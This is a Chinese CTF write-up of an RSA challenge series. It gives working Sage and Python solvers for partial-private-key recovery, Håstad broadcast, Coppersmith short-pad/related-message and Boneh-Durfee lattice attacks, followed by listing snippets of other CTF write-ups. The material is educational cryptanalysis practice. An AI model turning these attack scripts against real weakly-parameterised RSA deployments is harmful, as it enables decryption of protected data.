    [+]c=pow(m,e,n)=56164378185049402404287763972280630295410174183649054805947329504892979921131852321281317326306506444145699012788547718091371389698969718830761120076359634262880912417797038049510647237337251037070369278596191506725812511682495575589039521646062521091457438869068866365907962691742604895495670783101319608530
    
    [+]d&((1<<512)-1)=787673996295376297668171075170955852109814939442242049800811601753001897317556022653997651874897208487913321031340711138331360350633965420642045383644955
    
    [-]long_to_bytes(m).encode('hex')=
    

    在这里插入图片描述
    好,那继续
    e=3,看下数据
    在这里插入图片描述
    没事了,m还是512位的,pow3一下1.5k位以上了

    然后正常的去看最后一个条件d&((1<<512)-1)
    刚刚说过位移运算符了,这里
    在这里插入图片描述
    其实就是1的二进制变成1000…512个,根据2-》10进制转化原则可以得到上面的等式

    &运算,好,按位与,同1否0,来看下刚刚的二进制值
    在这里插入图片描述
    全是1,按进制计算也可以得到,那么已经很明显了,这里d&((1<<512)-1)后的结果是d最后512位数据

    已知d的低位,百度冲!
    payload:

    def partial_p(p0, kbits, n):
        PR.<x> = PolynomialRing(Zmod(n))
        nbits = n.nbits()
    
        f = 2^kbits*x + p0
        f = f.monic()
        roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
        if roots:
            x0 = roots[0]
            p = gcd(2^kbits*x0 + p0, n)
            return ZZ(p)
    
    def find_p(d0, kbits, e, n):
        X = var('X')
    
        for k in range(1, e+1):
            results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
            for x in results:
                p0 = ZZ(x[0])
                p = partial_p(p0, kbits, n)
                if p:
                    return p
    
    
    if __name__ == '__main__':
        n = 92896523979616431783569762645945918751162321185159790302085768095763248357146198882641160678623069857011832929179987623492267852304178894461486295864091871341339490870689110279720283415976342208476126414933914026436666789270209690168581379143120688241413470569887426810705898518783625903350928784794371176183
        e = 3
        d = 787673996295376297668171075170955852109814939442242049800811601753001897317556022653997651874897208487913321031340711138331360350633965420642045383644955
    
        nbits = n.nbits()
        kbits = d.nbits()
    
        print ("lower %d bits (of %d bits) is given" % (kbits, nbits))
    
        p = find_p(d, kbits, e, n)
        q = n//p
        print ("d0 = %d" % d)
        print ("d = %d" % inverse_mod(e, (p-1)*(q-1)))
    

    当时拿到payload改了好长一段时间才出,太难了
    在这里插入图片描述
    d出来了我就不说了,有手就行

     

    第4题

    做了这么多才到第四题,丫的

    题目

    [+]Generating challenge 4
    [+]e=3
    [+]m=random.getrandbits(512)
    [+]n1=78642188663937191491235684351005990853149481644703243255021321296087539054265733392095095639539412823093600710316645130404423641473150336492175402885270861906530337207734106926328737198871118125840680572148601743121884788919989184318198417654263598170932154428514561079675550090698019678767738203477097731989
    [+]c1=pow(m,e,n1)=23419685303892339080979695469481275906709035609088426118328601771163101123641599051556995351678670765521269546319724616458499631461037359417701720430452076029312714313804716888119910334476982840024696320503747736428099717113471541651211596481005191146454458591558743268791485623924245960696651150688621664860
    [+]n2==98174485544103863705821086588292917749386955237408645745685476234349659452606822650329076955303471252833860010724515777826660887118742978051231030080666542833950748806944312437614585352818344599399156268450521239843157288915059003487783576003027303399985723834248634230998110618288843582573006048070816520647
    [+]c2=pow(m,e,n2)=72080679612442543693944655041130370753964497034378634203383617624269927191363529233872659451561571441107920350406295389613006330637565645758727103723546610079332161151567096389071050158035757745766399510575237344950873632114050632573903701015749830874081198250578516967517980592506626547273178363503100507676
    [+]n3=91638855323231795590642755267985988356764327384001022396221901964430032527111968159623063760057482761918901490239790230176524505469897183382928646349163030620342744192731246392941227433195249399795012672172947919435254998997253131826888070173526892674308708289629739522194864912899817994807268945141349669311
    [+]c3=pow(m,e,n3)=22149989692509889061584875630258740744292355239822482581889060656197919681655781672277545701325284646570773490123892626601106871432216449814891757715588851851459306683123591338089745675044763551335899599807235257516935037356212345033087798267959242561085752109746935300735969972249665700075907145744305255616
    [-]long_to_bytes(m).encode('hex')=
    

    这种题目一看到这么多组n,c CRT中国剩余定理就可以直接上了
    e还等于3

    低加密指数广播攻击没跑了

    payload:

    import gmpy2
    from functools import reduce
    from Crypto.Util.number import *
    
    def chinese_remainder(n, a):
        sum = 0
        prod = reduce(lambda a, b: a * b, n)
        for n_i, a_i in zip(n, a):
            p = prod // n_i
            sum += a_i * gmpy2.invert(p, n_i) * p
        return int(sum % prod)
    n1=78642188663937191491235684351005990853149481644703243255021321296087539054265733392095095639539412823093600710316645130404423641473150336492175402885270861906530337207734106926328737198871118125840680572148601743121884788919989184318198417654263598170932154428514561079675550090698019678767738203477097731989
    c1=23419685303892339080979695469481275906709035609088426118328601771163101123641599051556995351678670765521269546319724616458499631461037359417701720430452076029312714313804716888119910334476982840024696320503747736428099717113471541651211596481005191146454458591558743268791485623924245960696651150688621664860
    n2=98174485544103863705821086588292917749386955237408645745685476234349659452606822650329076955303471252833860010724515777826660887118742978051231030080666542833950748806944312437614585352818344599399156268450521239843157288915059003487783576003027303399985723834248634230998110618288843582573006048070816520647
    c2=72080679612442543693944655041130370753964497034378634203383617624269927191363529233872659451561571441107920350406295389613006330637565645758727103723546610079332161151567096389071050158035757745766399510575237344950873632114050632573903701015749830874081198250578516967517980592506626547273178363503100507676
    n3=91638855323231795590642755267985988356764327384001022396221901964430032527111968159623063760057482761918901490239790230176524505469897183382928646349163030620342744192731246392941227433195249399795012672172947919435254998997253131826888070173526892674308708289629739522194864912899817994807268945141349669311
    c3=22149989692509889061584875630258740744292355239822482581889060656197919681655781672277545701325284646570773490123892626601106871432216449814891757715588851851459306683123591338089745675044763551335899599807235257516935037356212345033087798267959242561085752109746935300735969972249665700075907145744305255616
    
    n=[n1,n2,n3]
    c=[c1,c2,c3]
    ans=chinese_remainder(n, c)
    ans=gmpy2.iroot(ans,3)[0] # e = 3 
    print(long_to_bytes(ans))
    

    在这里插入图片描述

     

    第5题

    题目
    [+]Generating challenge 5
    [+]n= 113604829563460357756722229849309932731534576966155520277171862442445354404910882358287832757024693652075211204635679309777620586814014894544893424988818766425089667672311645586528776360047956843961901352792631908859388801090108188344342619580661377758180391734771694803991493164412644148805229529911069578061
    [+]e=7
    [+]m=random.getrandbits(512)
    [+]c=pow(m,e,n)=112992730284209629010217336632593897028023711212853788739137950706145189880318698604512926758021533447981943498594790549326550460216939216988828130624120379925895123186121819609415184887470233938291227816332249857236198616538782622327476603338806349004620909717360739157545735826670038169284252348037995399308
    [+]x=pow(m+1,e,n)=112992730284209629010217336632593897028023711212853788739137950706145189880318698604512926758021552486915464025361447529153776277710423467951041523831865232164370127602772602643378592695459331174613894578701940837730590029577336924367384969935652616989527416027725713616493815764725131271563545176286794438175
    [-]long_to_bytes(m).encode('hex')=
    

    在这里插入图片描述
    好的,审题,e=7,没特征,看下bit位,没有
    然后明显的关键点:

    c=pow(m,e,n)
    x=pow(m+1,e,n)

    首先看密文c有没有突破点,虽然明文m^e地下就加了1变成了pow(m+1,e) , 看起来动了一位,但是通过计算可以发现,在高位下两个结果差了很多

    然后分析m,第一个m和第二个只差了1,也就是明文高位相同
    在这里插入图片描述
    百度冲

    payload:

    # coppersmiths_short_pad_attack.sage
    
    def short_pad_attack(c1, c2, e, n):
        PRxy.<x,y> = PolynomialRing(Zmod(n))
        PRx.<xn> = PolynomialRing(Zmod(n))
        PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
    
        g1 = x^e - c1
        g2 = (x+y)^e - c2
    
        q1 = g1.change_ring(PRZZ)
        q2 = g2.change_ring(PRZZ)
    
        h = q2.resultant(q1)
        h = h.univariate_polynomial()
        h = h.change_ring(PRx).subs(y=xn)
        h = h.monic()
    
        kbits = n.nbits()//(2*e*e)
        diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5
    
        return diff
    
    def related_message_attack(c1, c2, diff, e, n):
        PRx.<x> = PolynomialRing(Zmod(n))
        g1 = x^e - c1
        g2 = (x+diff)^e - c2
    
        def gcd(g1, g2):
            while g2:
                g1, g2 = g2, g1 % g2
            return g1.monic()
    
        return -gcd(g1, g2)[0]
    
    
    if __name__ == '__main__':
        n = 113604829563460357756722229849309932731534576966155520277171862442445354404910882358287832757024693652075211204635679309777620586814014894544893424988818766425089667672311645586528776360047956843961901352792631908859388801090108188344342619580661377758180391734771694803991493164412644148805229529911069578061
        e = 7
    
        # nbits = n.nbits()
        # kbits = nbits//(2*e*e)
        # print ("upper %d bits (of %d bits) is same" % (nbits-kbits, nbits))
    
        # ^^ = bit-wise XOR
        # http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage
        # m1 = randrange(2^nbits)
        # m2 = m1 ^^ randrange(2^kbits)
        # c1 = pow(m1, e, n)
        # c2 = pow(m2, e, n)
        c1 = 112992730284209629010217336632593897028023711212853788739137950706145189880318698604512926758021533447981943498594790549326550460216939216988828130624120379925895123186121819609415184887470233938291227816332249857236198616538782622327476603338806349004620909717360739157545735826670038169284252348037995399308
        c2 = 112992730284209629010217336632593897028023711212853788739137950706145189880318698604512926758021552486915464025361447529153776277710423467951041523831865232164370127602772602643378592695459331174613894578701940837730590029577336924367384969935652616989527416027725713616493815764725131271563545176286794438175
    
        diff = short_pad_attack(c1, c2, e, n)
        print ("difference of two messages is %d" % diff)
    
        print (m1)
        m1 = related_message_attack(c1, c2, diff, e, n)
        print (m1)
        print (m2)
        print (m1 + diff)
    

    然后,那个给出的数据是错的,气死我了,估计实机上没问题,反正我很火的,我试了半天,反代数据才发现那玩意是错的数据,他的c 和 x+1其实是这个

    c = 16404985139084147094704300764850430964980485772400565266054075398380588297033201409914512724255440373095027298869259036450071617770755361938461322132693877590521575670718076480353565935028734363256919872879837455527948173237810119579078252909879868459848240229599708133153841801633280283847680255816123323196
    x = 92463268823628386526871956385934776043432833035349654252757452728405540022093349560058649691620353528569690982904353035470935543182784600771655097406007508218346417446808306197613168219068573563402315939576563452451487014381380516422829248470476887447827532913133023890886210295009811931573875721299817276803
    

    把新数据带进去就对了

     

    第6题

    来了,flag!!!
    在这里插入图片描述
    题目

    [+]Generating challenge 6
    [+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L
    [+]d=random.getrandbits(1024*0.270)
    [+]e=invmod(d,phin)
    [+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL
    [+]m=random.getrandbits(512)
    [+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL
    [-]long_to_bytes(m).encode('hex')=
    

    在这里插入图片描述
    丫的这玩意好像就没派上过用场在这里插入图片描述
    测了下位数…
    这次真的只给了n,e,c,然后给了个e和d的生成方式,我在这卡了好久,最后发现真的只有位数信息,方程列了一堆算过来算过去还是一开始的方程,看看生成方式又是最普通的方程生成,d是276位的,e是1021位的

    维纳攻击试试
    在这里插入图片描述
    emmmm…

    想来想去和平常加密方式唯一的区别就在这了

    d=random.getrandbits(1024*0.270) #生成1024*0.270d位数的随机数
    

    这里的0.270和1024肯定有蹊跷
    网上疯狂找了一波,最后直接在别人的仓库里找
    看到了这个
    在这里插入图片描述
    没中文描述,直接看下源码

    import time
    
    ############################################
    # Config
    ##########################################
    
    """
    Setting debug to true will display more informations
    about the lattice, the bounds, the vectors...
    """
    debug = True
    
    """
    Setting strict to true will stop the algorithm (and
    return (-1, -1)) if we don't have a correct 
    upperbound on the determinant. Note that this 
    doesn't necesseraly mean that no solutions 
    will be found since the theoretical upperbound is
    usualy far away from actual results. That is why
    you should probably use `strict = False`
    """
    strict = False
    
    """
    This is experimental, but has provided remarkable results
    so far. It tries to reduce the lattice as much as it can
    while keeping its efficiency. I see no reason not to use
    this option, but if things don't work, you should try
    disabling it
    """
    helpful_only = True
    dimension_min = 7 # stop removing if lattice reaches that dimension
    
    ############################################
    # Functions
    ##########################################
    
    # display stats on helpful vectors
    def helpful_vectors(BB, modulus):
        nothelpful = 0
        for ii in range(BB.dimensions()[0]):
            if BB[ii,ii] >= modulus:
                nothelpful += 1
    
        print( nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
    
    # display matrix picture with 0 and X
    def matrix_overview(BB, bound):
        for ii in range(BB.dimensions()[0]):
            a = ('%02d ' % ii)
            for jj in range(BB.dimensions()[1]):
                a += '0' if BB[ii,jj] == 0 else 'X'
                if BB.dimensions()[0] < 60:
                    a += ' '
            if BB[ii, ii] >= bound:
                a += '~'
            print( a)
    
    # tries to remove unhelpful vectors
    # we start at current = n-1 (last vector)
    def remove_unhelpful(BB, monomials, bound, current):
        # end of our recursive function
        if current == -1 or BB.dimensions()[0] <= dimension_min:
            return BB
    
        # we start by checking from the end
        for ii in range(current, -1, -1):
            # if it is unhelpful:
            if BB[ii, ii] >= bound:
                affected_vectors = 0
                affected_vector_index = 0
                # let's check if it affects other vectors
                for jj in range(ii + 1, BB.dimensions()[0]):
                    # if another vector is affected:
                    # we increase the count
                    if BB[jj, ii] != 0:
                        affected_vectors += 1
                        affected_vector_index = jj
    
                # level:0
                # if no other vectors end up affected
                # we remove it
                if affected_vectors == 0:
                    print( "* removing unhelpful vector", ii)
                    BB = BB.delete_columns([ii])
                    BB = BB.delete_rows([ii])
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    
                # level:1
                # if just one was affected we check
                # if it is affecting someone else
                elif affected_vectors == 1:
                    affected_deeper = True
                    for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                        # if it is affecting even one vector
                        # we give up on this one
                        if BB[kk, affected_vector_index] != 0:
                            affected_deeper = False
                    # remove both it if no other vector was affected and
                    # this helpful vector is not helpful enough
                    # compared to our unhelpful one
                    if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                        print( "* removing unhelpful vectors", ii, "and", affected_vector_index)
                        BB = BB.delete_columns([affected_vector_index, ii])
                        BB = BB.delete_rows([affected_vector_index, ii])
                        monomials.pop(affected_vector_index)
                        monomials.pop(ii)
                        BB = remove_unhelpful(BB, monomials, bound, ii-1)
                        return BB
        # nothing happened
        return BB
    
    """ 
    Returns:
    * 0,0   if it fails
    * -1,-1 if `strict=true`, and determinant doesn't bound
    * x0,y0 the solutions of `pol`
    """
    def boneh_durfee(pol, modulus, mm, tt, XX, YY):
        """
        Boneh and Durfee revisited by Herrmann and May
        
        finds a solution if:
        * d < N^delta
        * |x| < e^delta
        * |y| < e^0.5
        whenever delta < 1 - sqrt(2)/2 ~ 0.292
        """
    
        # substitution (Herrman and May)
        PR.<u, x, y> = PolynomialRing(ZZ)
        Q = PR.quotient(x*y + 1 - u) # u = xy + 1
        polZ = Q(pol).lift()
    
        UU = XX*YY + 1
    
        # x-shifts
        gg = []
        for kk in range(mm + 1):
            for ii in range(mm - kk + 1):
                xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
                gg.append(xshift)
        gg.sort()
    
        # x-shifts list of monomials
        monomials = []
        for polynomial in gg:
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    monomials.append(monomial)
        monomials.sort()
        
        # y-shifts (selected by Herrman and May)
        for jj in range(1, tt + 1):
            for kk in range(floor(mm/tt) * jj, mm + 1):
                yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
                yshift = Q(yshift).lift()
                gg.append(yshift) # substitution
        
        # y-shifts list of monomials
        for jj in range(1, tt + 1):
            for kk in range(floor(mm/tt) * jj, mm + 1):
                monomials.append(u^kk * y^jj)
    
        # construct lattice B
        nn = len(monomials)
        BB = Matrix(ZZ, nn)
        for ii in range(nn):
            BB[ii, 0] = gg[ii](0, 0, 0)
            for jj in range(1, ii + 1):
                if monomials[jj] in gg[ii].monomials():
                    BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
    
        # Prototype to reduce the lattice
        if helpful_only:
            # automatically remove
            BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
            # reset dimension
            nn = BB.dimensions()[0]
            if nn == 0:
                print( "failure")
                return 0,0
    
        # check if vectors are helpful
        if debug:
            helpful_vectors(BB, modulus^mm)
        
        # check if determinant is correctly bounded
        det = BB.det()
        bound = modulus^(mm*nn)
        if det >= bound:
            print( "We do not have det < bound. Solutions might not be found.")
            print( "Try with highers m and t.")
            if debug:
                diff = (log(det) - log(bound)) / log(2)
                print( "size det(L) - size e^(m*n) = ", floor(diff))
            if strict:
                return -1, -1
        else:
            print( "det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
    
        # display the lattice basis
        if debug:
            matrix_overview(BB, modulus^mm)
    
        # LLL
        if debug:
            print( "optimizing basis of the lattice via LLL, this can take a long time")
    
        BB = BB.LLL()
    
        if debug:
            print( "LLL is done!")
    
        # transform vector i & j -> polynomials 1 & 2
        if debug:
            print( "looking for independent vectors in the lattice")
        found_polynomials = False
        
        for pol1_idx in range(nn - 1):
            for pol2_idx in range(pol1_idx + 1, nn):
                # for i and j, create the two polynomials
                PR.<w,z> = PolynomialRing(ZZ)
                pol1 = pol2 = 0
                for jj in range(nn):
                    pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                    pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
    
                # resultant
                PR.<q> = PolynomialRing(ZZ)
                rr = pol1.resultant(pol2)
    
                # are these good polynomials?
                if rr.is_zero() or rr.monomials() == [1]:
                    continue
                else:
                    print( "found them, using vectors", pol1_idx, "and", pol2_idx)
                    found_polynomials = True
                    break
            if found_polynomials:
                break
    
        if not found_polynomials:
            print( "no independant vectors could be found. This should very rarely happen...")
            return 0, 0
        
        rr = rr(q, q)
    
        # solutions
        soly = rr.roots()
    
        if len(soly) == 0:
            print( "Your prediction (delta) is too small")
            return 0, 0
    
        soly = soly[0][0]
        ss = pol1(q, soly)
        solx = ss.roots()[0][0]
    
        #
        return solx, soly
    
    def example():
        ############################################
        # How To Use This Script
        ##########################################
    
        #
        # The problem to solve (edit the following values)
        #
    
        # the modulus
        N = 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27
        # the public exponent
        e = 0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bb
        # the cipher
        c = 0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866c
        # N = 12238605063252292170613110607692779326628090745751955692266649177882959231822580682548279800443278979485092243645806337103841086023159482786712759291169541633901936290854044069486201989034158882661270017305064348254800318759062921744741432214818915527537124001063995865927527037625277330117588414586505635959411443039463168463608235165929831344586283875119363703480280602514451713723663297066810128769907278246434745483846869482536367912810637275405943566734099622063142293421936734750356828712268385319217225803602442033960930413469179550331907541244416573641309943913383658451409219852933526106735587605884499707827
        # e = 11850552481503020257392808424743510851763548184936536180317707155841959788151862976445957810691568475609821000653594584717037528429828330763571556164988619635320288125983463358648887090031957900011546300841211712664477474767941406651977784177969001025954167441377912326806132232375497798238928464025466905201977180541053129691501120197010080001677260814313906843670652972019631997467352264392296894192998971542816081534808106792758008676039929763345402657578681818891775091140555977382868531202964486261123748663752490909455324860302967636149379567988941803701512680099398021640317868259975961261408500449965277690517
        # c = 9472193174575536616954091686751964873836697237500198884451530469300324470671555310791335185133679697207007374620225900775502162690848135615431624557389304657410880981454777737587420426091879654002644281066474715074536611611252677882396384453641127487515845176069574754606670518031472235144795376526854484442135299818868525539923568705203042265537204111153151119105287648912908771710419648445826883069030285651763726003413418764301988228077415599665616637501056116290476861280240577145515875430665394216054222788697052979429015400411487342877096677666406389711074591330476335174211990429870900468249946600544116793793
    
        # the hypothesis on the private exponent (the theoretical maximum is 0.292)
        delta = .28 # this means that d < N^delta
    
        #
        # Lattice (tweak those values)
        #
    
        # you should tweak this (after a first run), (e.g. increment it until a solution is found)
        m = 4 # size of the lattice (bigger the better/slower)
    
        # you need to be a lattice master to tweak these
        t = int((1-2*delta) * m)  # optimization from Herrmann and May
        X = 2*floor(N^delta)  # this _might_ be too much
        Y = floor(N^(1/2))    # correct if p, q are ~ same size
    
        #
        # Don't touch anything below
        #
    
        # Problem put in equation
        P.<x,y> = PolynomialRing(ZZ)
        A = int((N+1)/2)
        pol = 1 + x * (A + y)
    
        #
        # Find the solutions!
        #
    
        # Checking bounds
        if debug:
            print( "=== checking values ===")
            print( "* delta:", delta)
            print( "* delta < 0.292", delta < 0.292)
            print( "* size of e:", int(log(e)/log(2)))
            print( "* size of N:", int(log(N)/log(2)))
            print( "* m:", m, ", t:", t)
    
        # boneh_durfee
        if debug:
            print( "=== running algorithm ===")
            start_time = time.time()
    
        solx, soly = boneh_durfee(pol, e, m, t, X, Y)
    
        # found a solution?
        if solx > 0:
            print( "=== solution found ===")
            if False:
                print( "x:", solx)
                print( "y:", soly)
    
            d = int(pol(solx, soly) / e)
            m = pow(c,d,N)
            print( '[-]d is ' + str(d))
            print( '[-]m is: ' + str(m))
            print( '[-]hex(m) is: ' + '{:x}'.format(int(m)))
        else:
            print( "[!]no solution was found!")
            print( '[!]All Done!')
    
        if debug:
            print(("[!]Timer: %s s" % (time.time() - start_time)))
            print( '[!]All Done!')
    
    if __name__ == "__main__":
        example()
    

    直接看主函数,回溯上去看example

    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
        delta = .28 # this means that d < N^delta
    

    旁边的注释可以看出来 d < n ^ delta ,题目里生成d是1024*0.27位的值 1024是位数,转换一下不也就是N的0.27次方嘛,N通过测试可以发现是1024位的

    然后上面标注的上限正好是0.292 , 0.27在之内,所以改成0.28满足条件

    再看一下这里面的N,e,d 测一下size发现也都是高位,那这基本就是payload了

    再看一下标题,Bone Durfee 攻击 ,又学到一手

     

    好,到这里整道题目就做完了,其实回过头来可以发现我并没有深入原理分析,知道攻击方式后原理可以自己去网上找教程学习,我希望此文锻炼点在审计和发掘题目考点的能力,其实正真在应用层攻击时往往测试的就是个人平时经验的积累和payload的书写能力,最关键的是fuzz测试能力,能让自己在遇到新题型的时候能灵活处理和应对。

    在这里插入图片描述
    当然基础知识一定要打,不然就是真工具侠了

    我的第一篇文章,虽然给人感觉就是在用别人的东西打,但是这一次经历还是挺有价值的

     

     

    用到的payload仓库

    展开全文
  • 强网杯2019线上赛-web

    2019-05-29 11:05:08
    web1 upload |Solved 通过信息搜集可以得到泄露的源码,然后进行代码审计,是一个tp5的框架,代码审计,直接到核心的应用类去审计 抓包发现如下问题 cookie 是base64 的序列化值 相应的还有反序列化的值 ...
  • 强网杯2019-打野解题思路 题目链接:https://adworld.xctf.org.cn/media/task/attachments/82a98710753740d6b0de1ef17d21c8be.rar 1、解压后得到一张坤坤图 二话不说先扔到kali里面binwalk跑一下 没东西,再利用...
  • SQL Injection8(堆叠注入)——强网杯2019随便注

    万次阅读 多人点赞 2019-05-28 17:43:58
    SQL Injection8(堆叠注入)——强网杯2019随便注 前言 前面参加强网杯线上赛,亲身体验了一把ctf从入门到入土,从打ctf变成被ctf打… 这里结合里面的题来对里面的知识点进行一个学习总结 随便注是一道sql注入题,因为...
  • 反序列化(强网杯2019—UPLOAD)

    千次阅读 2019-05-29 15:26:50
    反序列化(强网杯2019—UPLOAD) 前言 这里主要是复现一下强网杯2019web的第一题,UPLOAD。这是一道反序列化的题,反正我觉得挺难的,当时已经锁定了反序列化的方向也没能完成… 感谢大佬提供的复现环境:...
  • 强网杯2019(高明的黑客&强网先锋上单)   前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/read-5873.html   高明的黑客 ...
  • [强网杯 2019]Upload

    2020-07-23 23:14:21
    根据题目意思,文件上传 发现用/.绕过, 发现他会更改你的图片的名字,并且转换成png格式 可是文件最后的名字我们并不能控制,emmmmmm 抓包发现cookie是一段base64 ...解出来发现是一段反序列化 ...
  • BUUCTF[强网杯 2019]随便注 的三种解法

    千次阅读 2019-11-27 13:09:23
    00X01 [强网杯 2019]随便注 1’ or 1=1 #
  • 打开题目看见一个输入框 输入’报错 应该是有sql注入了 使用 1’ # 正确显示 直接上 order by 1' order by 3 # 测试1,2正常,3报错 此时天真的我以为我已经离成功不远了~~ 启动联合查询 ......
  • [强网杯 2019]随便注

    千次阅读 2019-12-23 00:11:32
    1. 进入常规的注入 和1' and 1=2 #之后发现存在注入,有结果回显,如图 2. 然后用联合查询查语句查询列数: 1'union select 1,2# 发现给出了过滤各个字段的提示: 接下来就各自发挥了 ...那么既然被过滤了select...
  • 强网杯2019 随便注

    2020-07-11 21:08:40
    没什么好说的,教程一搜一大堆。 这题过滤了select,updata,where等关键字,不能使用常规的方法进行注入,可以考虑堆叠注入。 查表名:1';show tables;# 查列名:1';show cloumns from XXXX;... alter table `words` ...
  • BUUCTF [强网杯 2019] 随便注 打开环境: 先输入1查询回显内容: 输入1'测试SQL语句闭合类型: 判断出原SQL闭合方式为:inject='1',查询字段数: 1' union select 11,22 # 产生回显: 屏蔽掉了部分关键字,...
  • 参考:https://www.zhaoj.in/read-5873.html ... 先传一句话木马图片上去看看 ...上传的是一张jpg的图片,传上去之后被改后缀为png,而且可以看到路径和文件名都进行了重命名使用md5值 ...而且存在....
  • 首先访问URL,让后得到源码,打开一看,发现300多个文件,而且还都很奇怪的文件名。然后就不知道干嘛了。看来别人的题解,得到思路: 随便打开一个页面,发现里面存在着大量的system和eval函数,而且参数是我们可控...
  • [强网杯 2019]随便注

    2019-10-20 20:03:25
    1知识点 1.1MySQL命令 原来堆叠注入竟然真的有用,真的就像这道题所说的,安全和开发缺一不可。很久没用过堆叠注入了。复习一下把。 ...查看所有数据库:0’;...把users表名改为user:rename table...
  • buuctf web [强网杯 2019]高明的黑客 开始的页面 既然页面上有提示,我们就输入www.tar.gz 有文件压缩包,我们下载下来,压缩打开后,有几千个文件 这里我们随便打开一个文件,这里有很多shell,但是很多是用不了...
  • 0x01 试题分析 1、我们先打开题目,提示可以下载源码 下载源码,打开是几千个php文件,而且很乱,根本没法看,不过里面包含很多shell ... 0x02 脚本分析 – coding: utf-8 – import os ...import...

空空如也

1 2 3 4 5 ... 20
收藏数 493
精华内容 197
关键字:

强网杯2019